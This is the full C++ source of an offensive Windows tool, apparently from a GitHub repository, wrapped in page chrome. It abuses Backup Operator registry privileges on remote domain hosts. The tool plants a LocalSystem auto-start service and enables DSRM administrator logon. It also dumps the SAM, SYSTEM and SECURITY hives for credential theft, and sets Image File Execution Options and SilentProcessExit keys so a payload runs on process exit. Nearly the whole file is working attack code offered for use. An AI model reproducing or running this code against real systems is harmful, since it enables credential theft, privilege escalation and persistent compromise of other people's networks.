-
Notifications
You must be signed in to change notification settings - Fork 26
/
Copy pathBackupOperatorToolkit.cpp
308 lines (269 loc) · 8.41 KB
/
BackupOperatorToolkit.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
#include <stdio.h>
#include <iostream>
#include <Windows.h>
LPCSTR mode = NULL;
LPCSTR behaviour = NULL;
LPCSTR dumppath = NULL;
LPCSTR servicepath = NULL;
LPCSTR target = NULL;
LPCSTR servicename = NULL;
LPCSTR displayname = NULL;
LPCSTR description = NULL;
LPCSTR username = NULL;
LPCSTR password = NULL;
LPCSTR domain = NULL;
LPCSTR ifeoservice = NULL;
LPCSTR ifeoservicepath = NULL;
DWORD value = NULL;
void help(){
printf("Usage: BackupOperatorToolkit.exe SERVICE \\\\PATH\\To\\Service.exe \\\\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION\n");
printf("Usage: BackupOperatorToolkit.exe DSRM \\\\TARGET.DOMAIN.DK 0||1||2\n");
printf("Usage: BackupOperatorToolkit.exe DUMP \\\\PATH\\To\\Dump \\\\TARGET.DOMAIN.DK [!] If the dump path is local, the dump will be on the remote computer \n");
printf("Usage: BackupOperatorToolkit.exe IFEO notepad.exe \\\\Path\\To\\pwn.exe \\\\TARGET.DOMAIN.DK \n");
}
void service(){
HKEY hklm;
HKEY hkey;
DWORD result;
const char* hives[] = { "SYSTEM\\CurrentControlSet\\Services", "SYSTEM\\CurrentControlSet\\Services\\"};
result = RegConnectRegistryA(target, HKEY_LOCAL_MACHINE, &hklm);
if (result != 0) {
printf("[-] RegConnectRegistryA: %d\n", result);
exit(0);
}
printf("[+] Connecting to Services registry hive\n");
result = RegOpenKeyExA(hklm, hives[0], REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ, &hkey);
if (result != 0) {
printf("[-] RegOpenKeyExA: %d\n", result);
exit(0);
}
printf("[+] Creating Service key %s\n", servicename);
DWORD disposition = 0;
HKEY svckey = NULL;
result = RegCreateKeyExA(hkey, servicename, NULL, NULL, REG_OPTION_BACKUP_RESTORE, KEY_WRITE, NULL, &svckey, &disposition);
if (result != 0) {
printf("[-] Service Key: %d\n", result);
exit(0);
}
printf("[+] Setting Service to Auto start\n");
DWORD dwStart = SERVICE_AUTO_START;
result = RegSetKeyValueA(svckey, NULL, "Start", REG_DWORD, &dwStart, sizeof(DWORD));
if (result != 0) {
printf("[-] Auto Start Key: %d\n", result);
exit(0);
}
printf("[+] Setting Service Type\n");
DWORD dwType = SERVICE_WIN32_OWN_PROCESS;
result = RegSetKeyValueA(svckey, NULL, "Type", REG_DWORD, &dwType, sizeof(DWORD));
if (result != 0) {
printf("[-] Service Type: %d\n", result);
exit(0);
}
printf("[+] Setting Recovery Action\n");
DWORD dwErrorControl = 1;
result = RegSetKeyValueA(svckey, NULL, "ErrorControl", REG_DWORD, &dwErrorControl, sizeof(DWORD));
if (result != 0) {
printf("[-] Recovery: %d\n", result);
exit(0);
}
printf("[+] Setting Service to run with Local System\n");
char szObjectName[] = "LocalSystem";
result = RegSetKeyValueA(svckey, NULL, "ObjectName", REG_SZ, &szObjectName[0], sizeof(szObjectName));
if (result != 0) {
printf("[-] Local System Key: %d\n", result);
exit(0);
}
printf("[+] Setting Service DisplayName to %s\n", displayname);
result = RegSetKeyValueA(svckey, NULL, "DisplayName", REG_SZ, displayname, strlen(displayname) + 1);
if (result != 0) {
printf("[-] DisplayName: %d\n", result);
exit(0);
}
printf("[+] Setting Service Description to %s\n", description);
result = RegSetKeyValueA(svckey, NULL, "Description", REG_SZ, description, strlen(description) + 1);
if (result != 0) {
printf("[-] Description: %d\n", result);
exit(0);
}
printf("[+] Setting Service Path to %s\n", servicepath);
result = RegSetKeyValueA(svckey, NULL, "ImagePath", REG_EXPAND_SZ, servicepath, strlen(servicepath) + 1);
if (result != 0) {
printf("[-] Service Path: %d\n", result);
exit(0);
}
result = RegCloseKey(hkey);
if (result != 0) {
printf("[-] RegCloseKey: %d\n", result);
exit(0);
}
printf("\nThe service will be executed when the machine is rebooted.\n");
}
void dsrm() {
HKEY hklm;
HKEY hkey;
DWORD result;
const char* hives = "SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA";
result = RegConnectRegistryA(target, HKEY_LOCAL_MACHINE, &hklm);
if (result != 0) {
printf("[-] RegConnectRegistryW: %d\n", result);
exit(0);
}
printf("[+] Opening target hive to write\n");
result = RegOpenKeyExA(hklm, hives, REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ, &hkey);
if (result != 0) {
printf("[-] RegOpenKeyExA: %d\n", result);
exit(0);
}
printf("[+] Setting DsrmAdminLogonBehavior value to %lu\n", value);
result = RegSetValueExA(hkey, "DsrmAdminLogonBehavior", NULL, REG_DWORD, (const BYTE*)&value, sizeof(value));
if (result != 0) {
printf("[-] RegSetValueExA: %d\n", result);
exit(0);
}
result = RegCloseKey(hkey);
if (result != 0) {
printf("[-] RegCloseKey: %d\n", result);
exit(0);
}
}
void dump() {
HKEY hklm;
HKEY hkey;
DWORD result;
const char* hives[] = { "SAM","SYSTEM","SECURITY" };
result = RegConnectRegistryA(target, HKEY_LOCAL_MACHINE, &hklm);
if (result != 0) {
printf("[-] RegConnectRegistryW: %d\n", result);
exit(0);
}
for (int i = 0; i < 3; i++) {
printf("[+] Connecting to registry hive\n");
printf("[+] hive: %s\n", hives[i]);
result = RegOpenKeyExA(hklm, hives[i], REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ, &hkey);
if (result != 0) {
printf("[-] RegOpenKeyExA: %d\n", result);
exit(0);
}
printf("[+] Dumping hive to %s\n", dumppath);
result = RegSaveKeyA(hkey, std::string(dumppath).append(hives[i]).c_str(), NULL);
if (result != 0) {
printf("RegSaveKeyA: %d\n", result);
exit(0);
}
}
}
void ifeo() {
HKEY hklm;
HKEY hkey;
DWORD result;
const char* hives[] = { "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\" };
result = RegConnectRegistryA(target, HKEY_LOCAL_MACHINE, &hklm);
if (result != 0) {
printf("[-] RegConnectRegistryW: %d\n", result);
}
printf("[+] Connecting to Image File Execution Options registry hive\n");
result = RegOpenKeyExA(hklm, hives[0], REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ, &hkey);
if (result != 0) {
printf("[-] RegOpenKeyExA: %d\n", result);
exit(0);
}
printf("[+] Creating ifeo process key %s\n", ifeoservice);
DWORD disposition = 0;
HKEY ifeokey = NULL;
result = RegCreateKeyExA(hkey, ifeoservice, NULL, NULL, REG_OPTION_BACKUP_RESTORE, KEY_WRITE, NULL, &ifeokey, &disposition);
if (result != 0) {
printf("[-] Process Key: %d\n", result);
exit(0);
}
printf("[+] Setting GlobalFlag\n");
DWORD value = 512;
LPCSTR Global = "GlobalFlag";
result = RegSetKeyValueA(ifeokey, NULL, Global, REG_DWORD, (LPBYTE)&value, sizeof(value));
if (result != 0) {
printf("[-] GlobalFlag: %d\n", result);
exit(0);
}
printf("[+] Connecting to SilentProcessExit registry hive\n");
result = RegOpenKeyExA(hklm, hives[1], REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ, &hkey);
if (result != 0) {
printf("[-] RegOpenKeyExA: %d\n", result);
exit(0);
}
printf("[+] Creating ifeo process key %s\n", ifeoservice);
result = RegCreateKeyExA(hkey, ifeoservice, NULL, NULL, REG_OPTION_BACKUP_RESTORE, KEY_WRITE, NULL, &ifeokey, &disposition);
if (result != 0) {
printf("[-] Process Key: %d\n", result);
exit(0);
}
printf("[+] Setting ReportingMode\n");
DWORD ReportingMode = 1;
result = RegSetKeyValueA(ifeokey, NULL, "ReportingMode", REG_DWORD, (LPBYTE)&ReportingMode, sizeof(ReportingMode));
if (result != 0) {
printf("[-] ReportingMode: %d\n", result);
exit(0);
}
printf("[+] Setting MonitorProcess\n");
result = RegSetKeyValueA(ifeokey, NULL, "MonitorProcess", REG_SZ, (LPBYTE)ifeoservicepath, strlen(ifeoservicepath));
if (result != 0) {
printf("[-] MonitorProcess: %d\n", result);
exit(0);
}
printf("\nThe executable will be run when the specified process is exited.\n");
}
int main(int argc, LPCSTR argv[])
{
if (argc < 2) {
help();
return 0;
}
mode = argv[1];
if (strcmp(mode, "SERVICE") == 0) {
if (argc < 7) {
help();
return 0;
}
printf("SERVICE MODE\n");
servicepath = argv[2];
target = argv[3];
servicename = argv[4];
displayname = argv[5];
description = argv[6];
service();
}
else if (strcmp(mode, "DSRM") == 0) {
if (argc < 4) {
help();
return 0;
}
printf("DSRM MODE\n");
target = argv[2];
value = atoi(argv[3]);
dsrm();
}
else if (strcmp(mode, "DUMP") == 0) {
if (argc < 4) {
help();
return 0;
}
printf("DUMP MODE\n");
dumppath = argv[2];
target = argv[3];
dump();
}
else if (strcmp(mode, "IFEO") == 0) {
if (argc < 4) {
help();
return 0;
}
printf("IFEO MODE\n");
ifeoservice = argv[2];
ifeoservicepath = argv[3];
target = argv[4];
ifeo();
}
else {
help();
return 0;
}
return 0;
}